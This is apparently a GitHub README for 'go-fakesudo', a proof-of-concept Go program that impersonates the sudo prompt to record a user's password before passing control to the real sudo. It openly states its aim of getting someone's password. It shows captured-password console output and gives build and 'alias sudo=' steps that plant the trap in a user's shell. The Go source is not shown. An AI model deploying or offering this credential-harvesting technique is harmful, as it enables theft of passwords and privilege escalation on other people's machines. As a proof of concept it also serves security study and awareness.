/go-fakesudo

Proof of concept Go code for recording a password by hijacking sudo.

Primary LanguageGo

go-fakesudo

Proof of concept Go code for recording a password by hijacking sudo.

Get someone's password by asking for it on the right moment.

Concept

The idea of this code is to wrap the 'sudo' command, to ask for the password in the same way sudo does, before handing over control to the real sudo command.

Note that in current form, it prints the password in the console, instead of sending it to somewhere:

rvben@pc:~/go-fakesudo$ ./fakesudo ls -al
[sudo] password for rvben: 
Sorry, try again.

Password typed: mypassword
[sudo] password for rvben: 
Makefile  README.md  fakesudo  fakesudo.go

Getting started

  1. Build fakesudo
go build fakesudo.go
  1. Set alias
alias sudo='`pwd`/fakesudo'
  1. Use sudo
$ sudo vim /etc/hosts
[sudo] password for rvben: